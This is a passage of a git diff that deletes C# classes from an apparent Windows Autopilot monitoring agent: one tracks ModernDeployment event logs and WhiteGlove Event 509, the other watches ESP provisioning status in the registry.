(_stateLock) { return _helloWaitTimer != null; } } } - internal bool IsCompletionTimerActiveForTest { get { lock (_stateLock) { return _helloCompletionTimer != null; } } } - internal bool IsHelloWizardStartedForTest { get { lock (_stateLock) { return _helloWizardStarted; } } } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/SystemSignals/ModernDeploymentTracker.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/SystemSignals/ModernDeploymentTracker.cs deleted file mode 100644 index b48f747f..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/SystemSignals/ModernDeploymentTracker.cs +++ /dev/null @@ -1,481 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Diagnostics.Eventing.Reader; -using System.IO; -using System.Linq; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Shared; -using AutopilotMonitor.Shared.Models; -using Newtonsoft.Json; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals -{ - /// - /// Watches Microsoft-Windows-ModernDeployment-Diagnostics-Provider channels - /// (Autopilot + ManagementService) for Autopilot / ESP events and forwards them - /// to the event sink as modern_deployment_log/warning/error events. - /// - /// Additionally detects WhiteGlove (Pre-Provisioning) initiation via - /// ManagementService Event 509 with cross-restart dedup via disk persistence. - /// - internal sealed class ModernDeploymentTracker : IDisposable - { - internal const string AutopilotChannel = "Microsoft-Windows-ModernDeployment-Diagnostics-Provider/Autopilot"; - internal const string ManagementChannel = "Microsoft-Windows-ModernDeployment-Diagnostics-Provider/ManagementService"; - - /// - /// ManagementService Event ID 509: fires when a technician actually initiates - /// pre-provisioning (Win 5x → Provision). Level 4 (Informational) — bypasses - /// the default Level≤3 filter via a targeted OR clause in the XPath. - /// - internal const int EventId_WhiteGloveStart = 509; - - internal static readonly HashSet TargetedManagementServiceEventIds = new HashSet - { - EventId_WhiteGloveStart - }; - - internal const string WhiteGloveBackfillStateFileName = "whiteglove-backfill.json"; - - private readonly AgentLogger _logger; - private readonly string _sessionId; - private readonly string _tenantId; - private readonly Action _onEventCollected; - private readonly int _logLevelMax; - private readonly bool _backfillEnabled; - private readonly int _backfillLookbackMinutes; - private readonly string _stateDirectory; - private readonly HashSet _harmlessEventIds; - - private EventLogWatcher _autopilotWatcher; - private EventLogWatcher _managementWatcher; - private bool _whiteGloveStartDetected; - private readonly object _stateLock = new object(); - - public ModernDeploymentTracker( - string sessionId, - string tenantId, - Action onEventCollected, - AgentLogger logger, - int logLevelMax = 3, - bool backfillEnabled = true, - int backfillLookbackMinutes = 30, - string stateDirectory = null, - int[] harmlessEventIds = null) - { - _sessionId = sessionId ?? throw new ArgumentNullException(nameof(sessionId)); - _tenantId = tenantId ?? throw new ArgumentNullException(nameof(tenantId)); - _onEventCollected = onEventCollected ?? throw new ArgumentNullException(nameof(onEventCollected)); - _logger = logger ?? throw new ArgumentNullException(nameof(logger)); - _logLevelMax = logLevelMax; - _backfillEnabled = backfillEnabled; - _backfillLookbackMinutes = backfillLookbackMinutes; - _stateDirectory = stateDirectory != null ? Environment.ExpandEnvironmentVariables(stateDirectory) : null; - _harmlessEventIds = harmlessEventIds != null && harmlessEventIds.Length > 0 - ? new HashSet(harmlessEventIds) - : new HashSet { 100, 1005, 1010 }; - } - - /// - /// True once WhiteGlove start has been detected (either live Event 509 or persisted from prior run). - /// Exposed primarily for diagnostics/tests. - /// - internal bool IsWhiteGloveStartDetected - { - get { lock (_stateLock) { return _whiteGloveStartDetected; } } - } - - public void Start() - { - StartWatchers(); - - if (_backfillEnabled) - { - BackfillTargetedEvents(); - } - else - { - _logger.Info("ModernDeployment backfill disabled by config"); - } - } - - public void Stop() - { - StopWatcher(ref _autopilotWatcher, "Autopilot"); - StopWatcher(ref _managementWatcher, "ManagementService"); - } - - public void Dispose() => Stop(); - - // ----------------------------------------------------------------------- - // Watcher lifecycle - // ----------------------------------------------------------------------- - - private void StartWatchers() - { - _autopilotWatcher = TryStartWatcher(AutopilotChannel, "Autopilot", null); - _managementWatcher = TryStartWatcher(ManagementChannel, "ManagementService", TargetedManagementServiceEventIds); - } - - private EventLogWatcher TryStartWatcher(string channelName, string shortName, HashSet targetedEventIds) - { - try - { - var xpath = BuildXPath(_logLevelMax, targetedEventIds); - var query = new EventLogQuery(channelName, PathType.LogName, xpath); - var watcher = new EventLogWatcher(query); - watcher.EventRecordWritten += (sender, args) => OnEventRecordWritten(args, shortName, channelName); - watcher.Enabled = true; - _logger.Info($"ModernDeployment watcher started: {channelName} (levelMax={Math.Max(1, Math.Min(5, _logLevelMax))}, targetedIds={targetedEventIds?.Count ?? 0})"); - return watcher; - } - catch (EventLogNotFoundException) - { - _logger.Warning($"ModernDeployment event log not found: {channelName} (normal on non-Windows 10/11 test environments)"); - return null; - } - catch (UnauthorizedAccessException ex) - { - _logger.Warning($"ModernDeployment watcher access denied for {channelName}: {ex.Message}"); - return null; - } - catch (Exception ex) - { - _logger.Error($"Failed to start ModernDeployment watcher for {channelName}", ex); - return null; - } - } - - /// - /// Builds the XPath filter for the watcher. Exposed as internal for tests. - /// - internal static string BuildXPath(int logLevelMax, HashSet targetedEventIds) - { - var levelMax = Math.Max(1, Math.Min(5, logLevelMax)); - var levelFilter = $"Level=0 or (Level >= 1 and Level <= {levelMax})"; - if (targetedEventIds != null && targetedEventIds.Count > 0) - { - var idClauses = string.Join(" or ", targetedEventIds.Select(id => $"EventID={id}")); - levelFilter += $" or ({idClauses})"; - } - return $"*[System[{levelFilter}]]"; - } - - private void StopWatcher(ref EventLogWatcher watcher, string shortName) - { - if (watcher == null) return; - try - { - watcher.Enabled = false; - watcher.Dispose(); - _logger.Info($"ModernDeployment watcher stopped: {shortName}"); - } - catch (Exception ex) - { - _logger.Error($"Error stopping ModernDeployment watcher ({shortName})", ex); - } - finally - { - watcher = null; - } - } - - // ----------------------------------------------------------------------- - // Event processing - // ----------------------------------------------------------------------- - - private void OnEventRecordWritten(EventRecordWrittenEventArgs e, string shortName, string channelName) - { - if (e.EventRecord == null) return; - try - { - ProcessRecord(e.EventRecord, shortName, channelName, isBackfill: false); - } - catch (Exception ex) - { - _logger.Error($"Error processing ModernDeployment event from {shortName}", ex); - } - } - - private void ProcessRecord(EventRecord record, string shortName, string channelName, bool isBackfill) - { - string description = null; - try { description = record.FormatDescription(); } - catch { /* some events lack formatting resources */ } - - ProcessEvent( - eventId: record.Id, - level: record.Level, - levelDisplayName: record.LevelDisplayName, - providerName: record.ProviderName, - timeCreatedUtc: record.TimeCreated?.ToUniversalTime(), - formattedDescription: description, - shortName: shortName, - channelName: channelName, - isBackfill: isBackfill); - } - - /// - /// Core event-processing logic, extracted to primitive inputs so tests can drive it - /// without needing to synthesize an EventRecord (which is abstract + Windows-only). - /// - internal void ProcessEvent( - int eventId, - int? level, - string levelDisplayName, - string providerName, - DateTime? timeCreatedUtc, - string formattedDescription, - string shortName, - string channelName, - bool isBackfill) - { - if (eventId == EventId_WhiteGloveStart && shortName == "ManagementService") - { - HandleWhiteGloveStart(eventId, level, timeCreatedUtc, formattedDescription, isBackfill); - return; - } - - var effectiveLevel = level ?? 4; - string eventType; - EventSeverity severity; - switch (effectiveLevel) - { - case 1: - case 2: - eventType = Constants.EventTypes.ModernDeploymentError; - severity = EventSeverity.Error; - break; - case 3: - eventType = Constants.EventTypes.ModernDeploymentWarning; - severity = EventSeverity.Warning; - break; - default: - eventType = Constants.EventTypes.ModernDeploymentLog; - severity = EventSeverity.Info; - break; - } - - // Downgrade configurable harmless EventIDs to Debug. - // Level 1 (Critical) is NEVER downgraded — too risky to silence. Only Level 2 - // (Error) and Level 3 (Warning) are considered. The list is delivered by the - // backend via CollectorConfiguration.ModernDeploymentHarmlessEventIds and - // pre-seeded with known-harmless IDs (e.g. 100 "Autopilot policy not found", - // 1005, 1010 "Autopilot.dll WIL hardwareinfo.cpp HRESULT 0x80070002" — no real - // enrollment impact). Events stay visible in the timeline (Debug severity) for - // troubleshooting. - if ((effectiveLevel == 2 || effectiveLevel == 3) && _harmlessEventIds.Contains(eventId)) - { - eventType = Constants.EventTypes.ModernDeploymentLog; - severity = EventSeverity.Debug; - } - - var description = string.IsNullOrEmpty(formattedDescription) - ? $"Event ID {eventId} (no formatted description)" - : formattedDescription; - - var truncated = description.Length > 1000 ? description.Substring(0, 1000) + "…" : description; - - var data = new Dictionary - { - { "channel", shortName }, - { "channelFullName", channelName }, - { "eventId", eventId }, - { "level", effectiveLevel }, - { "levelName", levelDisplayName ?? string.Empty }, - { "providerName", providerName ?? string.Empty }, - { "timeCreated", timeCreatedUtc?.ToString("o") ?? string.Empty }, - { "backfilled", isBackfill } - }; - - _onEventCollected(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = eventType, - Severity = severity, - Source = "ModernDeploymentWatcher", - Phase = EnrollmentPhase.Unknown, - Message = $"[{shortName}] EventID {eventId}: {truncated}", - Data = data - }); - } - - private void HandleWhiteGloveStart(int eventId, int? level, DateTime? timeCreatedUtc, string formattedDescription, bool isBackfill) - { - var description = string.IsNullOrEmpty(formattedDescription) - ? $"Event ID {eventId} (no formatted description)" - : formattedDescription; - - if (description.IndexOf("WhiteGlove", StringComparison.OrdinalIgnoreCase) < 0) - { - _logger.Trace($"ManagementService Event 509 without WhiteGlove keyword — ignoring: {description}"); - return; - } - - lock (_stateLock) - { - if (_whiteGloveStartDetected) return; - _whiteGloveStartDetected = true; - } - - _logger.Info($"WhiteGlove start detected via ManagementService Event 509 (backfill={isBackfill}): {description}"); - - PersistWhiteGloveBackfillState(timeCreatedUtc); - - var truncated = description.Length > 500 ? description.Substring(0, 500) + "…" : description; - - _onEventCollected(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "whiteglove_started", - Severity = EventSeverity.Info, - Source = "ModernDeploymentWatcher", - Phase = EnrollmentPhase.Unknown, - Message = $"First WhiteGlove (Pre-Provisioning) hint — ManagementService EventID {eventId} (soft signal, not yet confirmed)", - Data = new Dictionary - { - { "channel", "ManagementService" }, - { "channelFullName", ManagementChannel }, - { "eventId", eventId }, - { "level", level ?? 4 }, - { "description", truncated }, - { "timeCreated", timeCreatedUtc?.ToString("o") ?? string.Empty }, - { "backfilled", isBackfill } - }, - ImmediateUpload = true - }); - } - - // ----------------------------------------------------------------------- - // Backfill - // ----------------------------------------------------------------------- - - private void BackfillTargetedEvents() - { - if (TargetedManagementServiceEventIds.Count == 0) return; - - var persistedState = LoadWhiteGloveBackfillState(); - if (persistedState != null && persistedState.WhiteGloveStartSeen) - { - _logger.Info($"WhiteGlove start already persisted from prior run (seen at {persistedState.SeenUtc:O}) — skipping backfill"); - lock (_stateLock) { _whiteGloveStartDetected = true; } - return; - } - - try - { - var lookbackMs = _backfillLookbackMinutes * 60 * 1000; - var idClauses = string.Join(" or ", - TargetedManagementServiceEventIds.Select(id => $"EventID={id}")); - var xpath = $"*[System[({idClauses}) and TimeCreated[timediff(@SystemTime) <= {lookbackMs}]]]"; - - _logger.Info($"ModernDeployment backfill: scanning {ManagementChannel} " + - $"(lookback={_backfillLookbackMinutes}min, targetedIds={TargetedManagementServiceEventIds.Count})"); - - var query = new EventLogQuery(ManagementChannel, PathType.LogName, xpath) - { - ReverseDirection = true - }; - - int found = 0; - using (var reader = new EventLogReader(query)) - { - EventRecord record; - while ((record = reader.ReadEvent()) != null) - { - using (record) - { - found++; - _logger.Info($"Backfill found ManagementService Event {record.Id} at {record.TimeCreated:O}"); - ProcessRecord(record, "ManagementService", ManagementChannel, isBackfill: true); - } - } - } - - if (found == 0) - _logger.Debug($"ModernDeployment backfill: no targeted events found in last {_backfillLookbackMinutes} minutes"); - else - _logger.Info($"ModernDeployment backfill: processed {found} event(s)"); - } - catch (EventLogNotFoundException) - { - _logger.Warning($"ModernDeployment event log not found during backfill: {ManagementChannel} (normal on non-Windows 10/11 test environments)"); - } - catch (UnauthorizedAccessException ex) - { - _logger.Warning($"ModernDeployment backfill access denied: {ex.Message}"); - } - catch (Exception ex) - { - _logger.Warning($"ModernDeployment backfill failed: {ex.Message}"); - } - } - - // ----------------------------------------------------------------------- - // Backfill state persistence - // ----------------------------------------------------------------------- - - internal void PersistWhiteGloveBackfillState(DateTime? eventTimeUtc) - { - if (string.IsNullOrEmpty(_stateDirectory)) return; - - try - { - Directory.CreateDirectory(_stateDirectory); - var filePath = Path.Combine(_stateDirectory, WhiteGloveBackfillStateFileName); - var state = new WhiteGloveBackfillState - { - WhiteGloveStartSeen = true, - SeenUtc = eventTimeUtc ?? DateTime.UtcNow, - PersistedUtc = DateTime.UtcNow - }; - var json = JsonConvert.SerializeObject(state, Formatting.Indented); - var tempPath = filePath + ".tmp"; - File.WriteAllText(tempPath, json); - File.Copy(tempPath, filePath, overwrite: true); - try { File.Delete(tempPath); } catch { } - _logger.Info($"WhiteGlove backfill state persisted to {filePath}"); - } - catch (Exception ex) - { - _logger.Warning($"Failed to persist WhiteGlove backfill state: {ex.Message}"); - } - } - - internal WhiteGloveBackfillState LoadWhiteGloveBackfillState() - { - if (string.IsNullOrEmpty(_stateDirectory)) return null; - - var filePath = Path.Combine(_stateDirectory, WhiteGloveBackfillStateFileName); - if (!File.Exists(filePath)) return null; - - try - { - var json = File.ReadAllText(filePath); - return JsonConvert.DeserializeObject(json); - } - catch (Exception ex) - { - _logger.Warning($"Failed to load WhiteGlove backfill state: {ex.Message}"); - return null; - } - } - - /// - /// Test-only: force the in-memory WhiteGlove-seen guard (simulates successful backfill-dedup). - /// - internal void MarkWhiteGloveStartDetectedForTest() - { - lock (_stateLock) { _whiteGloveStartDetected = true; } - } - - internal class WhiteGloveBackfillState - { - public bool WhiteGloveStartSeen { get; set; } - public DateTime SeenUtc { get; set; } - public DateTime PersistedUtc { get; set; } - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/SystemSignals/ProvisioningStatusTracker.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/SystemSignals/ProvisioningStatusTracker.cs deleted file mode 100644 index 5d25f309..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/SystemSignals/ProvisioningStatusTracker.cs +++ /dev/null @@ -1,1088 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text.Json; -using System.Threading; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Agent.Core.Monitoring.Interop; -using AutopilotMonitor.Agent.Core.Monitoring.Runtime; -using AutopilotMonitor.Shared; -using AutopilotMonitor.Shared.Models; -using Microsoft.Win32; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals -{ - /// - /// Watches ESP provisioning category status from the registry to detect failures - /// that Shell-Core event 62407 patterns may miss (e.g. Certificate provisioning failures). - /// - /// Registry path: HKLM\SOFTWARE\Microsoft\Provisioning\AutopilotSettings - /// Values: DevicePreparationCategory.Status, DeviceSetupCategory.Status, AccountSetupCategory.Status - /// - /// JSON format varies across Windows versions: - /// Flat: { "CertificatesSubcategory": "Certificates (1 of 1 applied)", "categorySucceeded": true, ... } - /// Nested: { "CertificatesSubcategory": { "subcategoryState": "succeeded", "subcategoryStatusText": "..." }, ... } - /// - /// Event emission strategy: - /// - Emit once when a category first appears (initial snapshot) - /// - Emit on every JSON change (progress updates, state transitions) - /// - Emit once when categorySucceeded resolves to true/false (final outcome) - /// - Fire on subcategory failure even if categorySucceeded is null - /// - Fire on DeviceSetup success (or fallback) - /// - /// Uses RegistryWatcher (RegNotifyChangeKeyValue) for instant registry change detection. - /// - internal sealed class ProvisioningStatusTracker : IDisposable - { - internal const string ProvisioningStatusRegistryPath = @"SOFTWARE\Microsoft\Provisioning\AutopilotSettings"; - internal const int DeviceSetupFallbackDelaySeconds = 30; - internal const int ProvisioningDebounceMilliseconds = 1000; - - private static readonly string[] ProvisioningCategoryNames = - { - "DevicePreparationCategory.Status", - "DeviceSetupCategory.Status", - "AccountSetupCategory.Status" - }; - - private readonly AgentLogger _logger; - private readonly string _sessionId; - private readonly string _tenantId; - private readonly Action _onEventCollected; - - private RegistryWatcher _provisioningWatcher; - private Timer _provisioningWatcherRetryTimer; - private Timer _provisioningDebounceTimer; - private Timer _deviceSetupFallbackTimer; - - // Track the raw JSON per category — used to detect any changes at all - private Dictionary _lastProvisioningJson; - // Track which categories have been seen (for first-seen event) - private HashSet _provisioningCategorySeen; - // Track the last known categorySucceeded per category (null = not yet resolved) - private Dictionary _lastCategorySucceeded; - // Fire-once guard per category — prevent duplicate EspFailureDetected calls - private HashSet _provisioningFailureFired; - // Track which categories have reported a final categorySucceeded value - private HashSet _provisioningCategoriesResolved; - // Track subcategory states per category — detect meaningful state transitions - private Dictionary> _lastSubcategoryStates; - // Fire-once guard for DeviceSetupProvisioningComplete event - private bool _deviceSetupProvisioningCompleteFired; - // WhiteGlove confirmation: DeviceSetup registry contains SaveWhiteGloveSuccessResult=succeeded - private bool _saveWhiteGloveSuccessResultSeen; - // Track SaveWhiteGloveSuccessResult state transitions for observability (null → notStarted → succeeded) - private string _lastSaveWhiteGloveState; - private readonly object _stateLock = new object(); - - public event EventHandler EspFailureDetected; - public event EventHandler DeviceSetupProvisioningComplete; - - public ProvisioningStatusTracker( - string sessionId, - string tenantId, - Action onEventCollected, - AgentLogger logger) - { - _sessionId = sessionId ?? throw new ArgumentNullException(nameof(sessionId)); - _tenantId = tenantId ?? throw new ArgumentNullException(nameof(tenantId)); - _onEventCollected = onEventCollected ?? throw new ArgumentNullException(nameof(onEventCollected)); - _logger = logger ?? throw new ArgumentNullException(nameof(logger)); - } - - // ===================================================================== - // Public snapshot / state API (forwarded by coordinator) - // ===================================================================== - - /// - /// Snapshot of current provisioning-category state for consumers like the signal-correlated - /// WhiteGlove detection. Thread-safe. - /// - public Dictionary GetProvisioningCategorySnapshot() - { - lock (_stateLock) - { - return _lastCategorySucceeded == null - ? new Dictionary(StringComparer.OrdinalIgnoreCase) - : new Dictionary(_lastCategorySucceeded, StringComparer.OrdinalIgnoreCase); - } - } - - /// - /// True when DeviceSetupCategory.Status has resolved categorySucceeded=true OR when the - /// fallback (all subcategories succeeded, categorySucceeded null) has been confirmed. - /// - public bool DeviceSetupCategorySucceeded - { - get - { - lock (_stateLock) - { - if (_deviceSetupProvisioningCompleteFired) - return true; - return _lastCategorySucceeded != null - && _lastCategorySucceeded.TryGetValue("DeviceSetupCategory.Status", out var v) - && v == true; - } - } - } - - /// - /// True when any AccountSetup subcategory has been tracked (resolved or in progress). - /// - public bool HasAccountSetupActivity - { - get - { - lock (_stateLock) - { - if (_lastSubcategoryStates == null) - return false; - return _lastSubcategoryStates.TryGetValue("AccountSetupCategory.Status", out var subs) - && subs != null - && subs.Count > 0; - } - } - } - - /// - /// True when DeviceSetup registry JSON contains a SaveWhiteGloveSuccessResult property - /// with subcategoryState=succeeded. This is a definitive WhiteGlove (Pre-Provisioning) - /// confirmation signal — Windows only writes this property during White Glove flows. - /// - public bool HasSaveWhiteGloveSuccessResult - { - get { lock (_stateLock) { return _saveWhiteGloveSuccessResultSeen; } } - } - - /// - /// Returns a thread-safe snapshot of the current ESP provisioning category status. - /// All data is deep-copied under the lock so the caller can use it freely. - /// Returns null if no provisioning data has been observed yet. - /// - public EspProvisioningSnapshot GetProvisioningSnapshot() - { - lock (_stateLock) - { - if (_provisioningCategorySeen == null || _provisioningCategorySeen.Count == 0) - return null; - - var outcomes = new Dictionary(StringComparer.OrdinalIgnoreCase); - foreach (var cat in _provisioningCategorySeen) - { - var label = cat.Replace("Category.Status", ""); - if (_lastCategorySucceeded.TryGetValue(cat, out var succeeded)) - { - outcomes[label] = succeeded == true ? "success" - : succeeded == false ? "failed" - : "in_progress"; - } - else - { - outcomes[label] = "in_progress"; - } - } - - var subcats = new Dictionary>(StringComparer.OrdinalIgnoreCase); - foreach (var kvp in _lastSubcategoryStates) - { - var label = kvp.Key.Replace("Category.Status", ""); - subcats[label] = new Dictionary(kvp.Value, StringComparer.OrdinalIgnoreCase); - } - - return new EspProvisioningSnapshot - { - CategoryOutcomes = outcomes, - SubcategoryStates = subcats, - CategoriesSeen = _provisioningCategorySeen.Count, - CategoriesResolved = _provisioningCategoriesResolved.Count, - AllResolved = _provisioningCategoriesResolved.Count >= _provisioningCategorySeen.Count - }; - } - } - - // ===================================================================== - // Lifecycle - // ===================================================================== - - public void Start() - { - _lastProvisioningJson = new Dictionary(StringComparer.OrdinalIgnoreCase); - _provisioningCategorySeen = new HashSet(StringComparer.OrdinalIgnoreCase); - _lastCategorySucceeded = new Dictionary(StringComparer.OrdinalIgnoreCase); - _provisioningFailureFired = new HashSet(StringComparer.OrdinalIgnoreCase); - _provisioningCategoriesResolved = new HashSet(StringComparer.OrdinalIgnoreCase); - _lastSubcategoryStates = new Dictionary>(StringComparer.OrdinalIgnoreCase); - _deviceSetupProvisioningCompleteFired = false; - _deviceSetupFallbackTimer = null; - - // Try to start immediately; if key doesn't exist yet, retry every 2s - if (!TryStartWatcher()) - { - _logger.Info("Provisioning status registry key not yet present — retrying every 2s"); - _provisioningWatcherRetryTimer = new Timer( - _ => - { - if (TryStartWatcher()) - { - _provisioningWatcherRetryTimer?.Dispose(); - _provisioningWatcherRetryTimer = null; - } - }, - null, - TimeSpan.FromSeconds(2), - TimeSpan.FromSeconds(2)); - } - } - - public void Stop(string reason = "tracker_stopped") - { - try - { - _provisioningWatcherRetryTimer?.Dispose(); - _provisioningWatcherRetryTimer = null; - - _provisioningDebounceTimer?.Dispose(); - _provisioningDebounceTimer = null; - - _deviceSetupFallbackTimer?.Dispose(); - _deviceSetupFallbackTimer = null; - - if (_provisioningWatcher != null) - { - _provisioningWatcher.Dispose(); - _provisioningWatcher = null; - _logger.Info($"Provisioning status watcher stopped: {reason}"); - } - } - catch (Exception ex) - { - _logger.Error("Error stopping provisioning status watcher", ex); - } - } - - public void Dispose() => Stop(); - - private bool TryStartWatcher() - { - try - { - using (var key = Registry.LocalMachine.OpenSubKey(ProvisioningStatusRegistryPath)) - { - if (key == null) - return false; - } - - // Capture initial state before watcher starts - _logger.Trace("ProvisioningWatcher: capturing initial state before watcher starts"); - CheckProvisioningStatus(); - - // Debounce timer — coalesces rapid-fire registry notifications into a single check - _provisioningDebounceTimer = new Timer( - _ => CheckProvisioningStatus(), - null, - Timeout.Infinite, - Timeout.Infinite); - - _provisioningWatcher = new RegistryWatcher( - RegistryHive.LocalMachine, - ProvisioningStatusRegistryPath, - watchSubtree: true, - filter: RegistryNativeMethods.RegChangeNotifyFilter.LastSet, - trace: msg => _logger.Trace($"RegistryWatcher: {msg}")); - - _provisioningWatcher.Changed += (s, e) => - { - _logger.Trace("ProvisioningWatcher: Changed event fired — debouncing CheckProvisioningStatus"); - _provisioningDebounceTimer?.Change(ProvisioningDebounceMilliseconds, Timeout.Infinite); - }; - _provisioningWatcher.Error += (s, ex) => _logger.Warning($"Provisioning watcher handler error: {ex.Message}"); - - _provisioningWatcher.Start(); - _logger.Info("Provisioning status registry watcher started"); - return true; - } - catch (Exception ex) - { - _logger.Warning($"Failed to start provisioning watcher: {ex.Message}"); - return false; - } - } - - // ===================================================================== - // Registry polling + processing - // ===================================================================== - - private void CheckProvisioningStatus() - { - try - { - lock (_stateLock) - { - using (var key = Registry.LocalMachine.OpenSubKey(ProvisioningStatusRegistryPath, writable: false)) - { - if (key == null) - { - _logger.Trace("CheckProvisioningStatus: registry key not found"); - return; - } - - bool failureDetected = false; - string failureType = null; - int changedCount = 0, unchangedCount = 0, missingCount = 0; - - foreach (var categoryName in ProvisioningCategoryNames) - { - var jsonValue = key.GetValue(categoryName)?.ToString(); - if (string.IsNullOrEmpty(jsonValue)) - { - missingCount++; - _logger.Trace($"CheckProvisioningStatus: {categoryName} — not present in registry"); - continue; - } - - if (_lastProvisioningJson.TryGetValue(categoryName, out var lastJson) && lastJson == jsonValue) - { - unchangedCount++; - continue; - } - - changedCount++; - bool isNew = !_lastProvisioningJson.ContainsKey(categoryName); - _logger.Trace($"CheckProvisioningStatus: {categoryName} — {(isNew ? "NEW" : "CHANGED")} (json length={jsonValue.Length})"); - _logger.Trace($"CheckProvisioningStatus: {categoryName} — raw JSON: {jsonValue}"); - - _lastProvisioningJson[categoryName] = jsonValue; - var result = ProcessCategoryStatus(categoryName, jsonValue); - - if (result.IsFailed) - { - failureDetected = true; - failureType = result.FailureType; - } - } - - _logger.Trace($"CheckProvisioningStatus: summary — changed={changedCount}, unchanged={unchangedCount}, missing={missingCount}, " + - $"seen={_provisioningCategorySeen.Count}, resolved={_provisioningCategoriesResolved.Count}/{_lastProvisioningJson.Count}, " + - $"failuresFired={_provisioningFailureFired.Count}"); - - // Self-termination: only auto-stop when all categories resolved with success (no failures). - if (_provisioningCategoriesResolved.Count > 0 - && _lastProvisioningJson.Count > 0 - && _provisioningCategoriesResolved.Count >= _lastProvisioningJson.Count - && !_provisioningFailureFired.Any()) - { - _logger.Info("Provisioning status watcher: all categories resolved with success — requesting stop"); - _provisioningWatcher?.RequestStop(); - } - - // Fire EspFailureDetected AFTER event emission (event in spool before agent reacts) - if (failureDetected && failureType != null) - { - try { EspFailureDetected?.Invoke(this, failureType); } - catch (Exception ex) { _logger.Error($"EspFailureDetected handler failed for '{failureType}'", ex); } - } - - // Fire DeviceSetupProvisioningComplete when DeviceSetup resolves with success. - if (!_deviceSetupProvisioningCompleteFired - && _lastCategorySucceeded.TryGetValue("DeviceSetupCategory.Status", out var dsSucceeded) - && dsSucceeded == true) - { - _deviceSetupProvisioningCompleteFired = true; - _logger.Info("Provisioning status: DeviceSetup succeeded — firing DeviceSetupProvisioningComplete"); - try { DeviceSetupProvisioningComplete?.Invoke(this, EventArgs.Empty); } - catch (Exception ex) { _logger.Error("DeviceSetupProvisioningComplete handler failed", ex); } - } - - // Fallback: all subcategories succeeded but categorySucceeded was never set by Windows. - // Some Windows builds (e.g. 25H2/26200) don't set the boolean even after all subcategories succeed. - if (!_deviceSetupProvisioningCompleteFired - && _deviceSetupFallbackTimer == null - && _lastCategorySucceeded.TryGetValue("DeviceSetupCategory.Status", out var dsFallbackState) - && dsFallbackState == null - && _lastSubcategoryStates.TryGetValue("DeviceSetupCategory.Status", out var dsFallbackSubStates) - && dsFallbackSubStates.Count > 0 - && dsFallbackSubStates.Values.All(s => - string.Equals(s, "succeeded", StringComparison.OrdinalIgnoreCase) || - string.Equals(s, "notRequired", StringComparison.OrdinalIgnoreCase))) - { - _logger.Info($"Provisioning status: DeviceSetup — all {dsFallbackSubStates.Count} subcategories succeeded " + - $"but categorySucceeded not set by Windows — starting {DeviceSetupFallbackDelaySeconds}s fallback timer"); - _deviceSetupFallbackTimer = new Timer( - OnDeviceSetupFallbackTimerExpired, - null, - TimeSpan.FromSeconds(DeviceSetupFallbackDelaySeconds), - Timeout.InfiniteTimeSpan); - } - } - } - } - catch (Exception ex) - { - _logger.Warning($"Provisioning status check failed: {ex.Message}"); - } - } - - private void OnDeviceSetupFallbackTimerExpired(object state) - { - try - { - lock (_stateLock) - { - if (_deviceSetupProvisioningCompleteFired) - { - _logger.Debug("DeviceSetup fallback timer expired but DeviceSetupProvisioningComplete already fired — ignoring"); - return; - } - - string registryJson = null; - using (var key = Registry.LocalMachine.OpenSubKey(ProvisioningStatusRegistryPath, writable: false)) - { - registryJson = key?.GetValue("DeviceSetupCategory.Status")?.ToString(); - } - - if (string.IsNullOrEmpty(registryJson)) - { - _logger.Warning("DeviceSetup fallback timer: registry value not found — aborting fallback"); - return; - } - - bool? categorySucceeded = null; - List subcategories = null; - try - { - using (var doc = JsonDocument.Parse(registryJson)) - { - categorySucceeded = SafeGetBool(doc.RootElement, "categorySucceeded"); - subcategories = ParseSubcategories(doc.RootElement); - } - } - catch (JsonException ex) - { - _logger.Warning($"DeviceSetup fallback timer: failed to parse registry JSON — aborting fallback: {ex.Message}"); - return; - } - - if (categorySucceeded.HasValue) - { - _logger.Info($"DeviceSetup fallback timer: categorySucceeded is now {categorySucceeded.Value} — normal path will handle this"); - CheckProvisioningStatus(); - return; - } - - if (subcategories == null || subcategories.Count == 0) - { - _logger.Warning("DeviceSetup fallback timer: no subcategories found — aborting fallback"); - return; - } - - var nonSucceeded = subcategories.Where(s => - !string.Equals(s.State, "succeeded", StringComparison.OrdinalIgnoreCase) && - !string.Equals(s.State, "notRequired", StringComparison.OrdinalIgnoreCase)).ToList(); - - if (nonSucceeded.Count > 0) - { - _logger.Warning($"DeviceSetup fallback timer: {nonSucceeded.Count} subcategory/ies not succeeded " + - $"({string.Join(", ", nonSucceeded.Select(s => $"{s.Name}={s.State}"))}) — aborting fallback"); - return; - } - - EmitRawRegistryDump("DeviceSetup", registryJson, "fallback_confirmed"); - - _logger.Warning($"DeviceSetup fallback: all {subcategories.Count} subcategories succeeded but " + - $"categorySucceeded was not set by Windows after {DeviceSetupFallbackDelaySeconds}s — treating as complete"); - - var subcatData = new Dictionary(); - foreach (var sub in subcategories) - { - subcatData[sub.Name] = new Dictionary - { - { "state", sub.State }, - { "statusText", sub.StatusText } - }; - } - - _onEventCollected(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = Constants.EventTypes.EspProvisioningStatus, - Severity = EventSeverity.Warning, - Source = "EspAndHelloTracker", - Phase = EnrollmentPhase.Unknown, - Message = $"ESP provisioning status: DeviceSetup — all 